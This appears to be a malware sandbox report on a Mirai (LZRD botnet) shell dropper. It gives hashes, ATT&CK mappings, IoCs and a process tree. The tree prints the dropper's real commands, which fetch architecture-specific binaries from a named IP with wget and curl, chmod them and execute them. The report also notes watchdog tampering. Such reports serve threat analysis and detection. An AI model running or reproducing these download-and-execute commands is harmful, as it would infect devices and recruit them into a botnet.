mirai | 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091

Analysis

max time kernel
149s
max time network
142s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02-01-2025 04:21

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General

Target

ohshit.sh
Size

2KB
MD5

ed9afc8adb1a34f93090873f6b76ec07
SHA1

13b5f418f63a32c61e493995e10e3baa0b02caab
SHA256

74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091
SHA512

3ef263bf7ef4cadcc3587d3ef891289cb051087c9d125a74fc8f34f16cda89ca79c2a5ae6f2d0edee3f87855de37af4a594779d6d0d332beade0654e102bd049

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
738	chmod
803	chmod
818	chmod
887	chmod
763	chmod
781	chmod
853	chmod
875	chmod
744	chmod
810	chmod
830	chmod
893	chmod
731	chmod
869	chmod
881	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	732	WTF
/tmp/WTF	739	WTF
/tmp/WTF	745	WTF
/tmp/WTF	764	WTF
/tmp/WTF	783	WTF
/tmp/WTF	805	WTF
/tmp/WTF	811	WTF
/tmp/WTF	819	WTF
/tmp/WTF	831	WTF
/tmp/WTF	855	WTF
/tmp/WTF	870	WTF
/tmp/WTF	876	WTF
/tmp/WTF	882	WTF
/tmp/WTF	888	WTF
/tmp/WTF	894	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx

Reads runtime system information 44 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/891/cmdline	WTF
File opened for reading	/proc/701/cmdline	WTF
File opened for reading	/proc/702/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/843/cmdline	WTF
File opened for reading	/proc/674/cmdline	WTF
File opened for reading	/proc/822/cmdline	WTF
File opened for reading	/proc/842/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/890/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/675/cmdline	WTF
File opened for reading	/proc/703/cmdline	WTF
File opened for reading	/proc/801/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/433/cmdline	WTF
File opened for reading	/proc/885/cmdline	WTF
File opened for reading	/proc/673/cmdline	WTF
File opened for reading	/proc/699/cmdline	WTF
File opened for reading	/proc/825/cmdline	WTF
File opened for reading	/proc/866/cmdline	WTF
File opened for reading	/proc/872/cmdline	WTF
File opened for reading	/proc/814/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/665/cmdline	WTF
File opened for reading	/proc/694/cmdline	WTF
File opened for reading	/proc/793/cmdline	WTF
File opened for reading	/proc/873/cmdline	WTF
File opened for reading	/proc/788/cmdline	WTF
File opened for reading	/proc/821/cmdline	WTF
File opened for reading	/proc/844/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/670/cmdline	WTF
File opened for reading	/proc/700/cmdline	WTF
File opened for reading	/proc/879/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
734	wget
736	curl
737	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wind.mpsl	curl
File opened for modification	/tmp/wind.ppc	curl
File opened for modification	/tmp/wind.mips	curl
File opened for modification	/tmp/wind.mpsl	wget
File opened for modification	/tmp/wind.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/wind.mips	wget
File opened for modification	/tmp/wind.arm	wget
File opened for modification	/tmp/wind.arm6	curl
File opened for modification	/tmp/wind.arm7	curl
File opened for modification	/tmp/wind.spc	curl
File opened for modification	/tmp/wind.x86	wget
File opened for modification	/tmp/wind.sh4	curl
File opened for modification	/tmp/wind.x86_64	curl
File opened for modification	/tmp/wind.ppc	wget
File opened for modification	/tmp/wind.arc	wget
File opened for modification	/tmp/wind.arm	curl
File opened for modification	/tmp/wind.spc	wget
File opened for modification	/tmp/wind.m68k	curl
File opened for modification	/tmp/wind.i468	curl
File opened for modification	/tmp/wind.i686	curl
File opened for modification	/tmp/wind.arm5	wget
File opened for modification	/tmp/wind.arm5	curl
File opened for modification	/tmp/wind.arm7	wget
File opened for modification	/tmp/wind.arc	curl
File opened for modification	/tmp/wind.m68k	wget
File opened for modification	/tmp/wind.sh4	wget
File opened for modification	/tmp/wind.arm6	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:702
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Writes file to tmp directory
  PID:704
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/cat
  cat wind.x86
  2⤵
  PID:729
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:732
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/cat
  cat wind.mips
  2⤵
  - System Network Configuration Discovery
  PID:737
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:739
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/cat
  cat wind.arc
  2⤵
  PID:743
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:745
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/cat
  cat wind.i468
  2⤵
  PID:761
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:764
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/cat
  cat wind.i686
  2⤵
  PID:780
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.i686 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:783
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/cat
  cat wind.x86_64
  2⤵
  PID:802
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.i686 wind.mips wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:805
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/cat
  cat wind.mpsl
  2⤵
  PID:809
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:811
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/cat
  cat wind.arm
  2⤵
  PID:817
- /bin/chmod
  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.arm wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:819
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Writes file to tmp directory
  PID:821
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat wind.arm5
  2⤵
  PID:828
- /bin/chmod
  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:831
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/cat
  cat wind.arm6
  2⤵
  PID:852
- /bin/chmod
  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:855
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Writes file to tmp directory
  PID:858
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/cat
  cat wind.arm7
  2⤵
  PID:868
- /bin/chmod
  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:870
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.ppc
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/cat
  cat wind.ppc
  2⤵
  PID:874
- /bin/chmod
  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:876
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.spc
  2⤵
  - Writes file to tmp directory
  PID:878
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/cat
  cat wind.spc
  2⤵
  PID:880
- /bin/chmod
  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:882
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.m68k
  2⤵
  - Writes file to tmp directory
  PID:884
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/cat
  cat wind.m68k
  2⤵
  PID:886
- /bin/chmod
  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:888
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.sh4
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/cat
  cat wind.sh4
  2⤵
  PID:892
- /bin/chmod
  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.sh4 wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:894

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/WTF

Filesize
23KB

MD5
d70a9269f912109afaeec442fb967ce6

SHA1
0d89ccf6cb68f4d5b5f5a29d7f5de04984017b21

SHA256
5645309e550ef9e1afad4a0da0f577a3be054aec87122317d8a0a677d47496ab

SHA512
59817f04c9902c892b91469b8448431a641ea9e7fcc9fa9e87e317fdee1919d9a063f8bfc88fe90f9e9c40a3362ee2e5611f385c819e21ead39ea6148026e275

Download Submit
/tmp/WTF

Filesize
105KB

MD5
ea6615b985e2ddd30d65e1293058ddd9

SHA1
3890c332e3d2167f7a5e279135843d6905324d6b

SHA256
c16826f971473f4fa6c23a50c745e747eddc9d7a1e026b0613bb1d2ed24f6c52

SHA512
975d87a0c7b876d1fa3c1d832b7cef130e6e32052b9ea90bddc166709a4c1ad3d51f3e60c7120b7b4c15b1829e5d465cbc99bac53efa185201a648113c38f9fc

Download Submit
/tmp/WTF

Filesize
217B

MD5
b5c5bc11ee843c629fe4dc7b16d9e3c8

SHA1
b4f2fc81c39d2c053c55ee06a161655f6546a372

SHA256
40e81787af6d49bfd5ff0dd8a740f823899d31ddf509e41b10165b13a8cc6e39

SHA512
fe3c0c15734685ad54a0068e56cd4247e7cf4716257d25e1916fc69e2c0d7a490166b3802339fff264e3e4ef86d2d4c156f5866eb931e99dce15ad64c96f1a16

Download Submit
/tmp/WTF

Filesize
217B

MD5
7996ac0d48cf7290dc39acdf4c6cbe78

SHA1
6949f5ef62883990e34538ee5bfdab36b5ddddde

SHA256
96db2cd9e9a66997acbc90e8f591e6b1696bb47500d1d07db2d20e3c92de70a8

SHA512
0eb9e26445b177be128aa076110ff2d3488641347c17eef3f2e44b50bb9fe18f4c7fa10cccf2985801fbfd5fcc5c163cf141452850927aa58f623737a9d9488a

Download Submit
/tmp/WTF

Filesize
57KB

MD5
42d86ec69889e6fc6c2709a571d72f24

SHA1
63a111cf7f0be7930592de0255397594d983c27e

SHA256
8aff3837c290a26986a2b1b180a1e8d5d8480a64cfa3b9d6cb0c40fbe8d07f0b

SHA512
9067a819685cb60c768808d6e19de31bd7ed9b33d705fe68be3ea9f2f5b1912d8b3ac5252036bb46f033a72378e4bc7c09872972ed4b26d9cb5fbdd422e6d668

Download Submit
/tmp/wind.x86

Filesize
20KB

MD5
2696d2b99111e232d78a0c9678a3e154

SHA1
19933c0b1d0b81348c862aaedbda11087b87c874

SHA256
3cd86a5cc82976251f617c7ca32d6d0fa5e757a4489f0e60dd1cccff28f8b379

SHA512
67a9bd12fe8499665fe2a4ae772f4685744a00bfec1452577236f626ddbd8087956609673a78b514a6e438538f815242c98dff15b83c1b8f4302130ea818b8bb

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads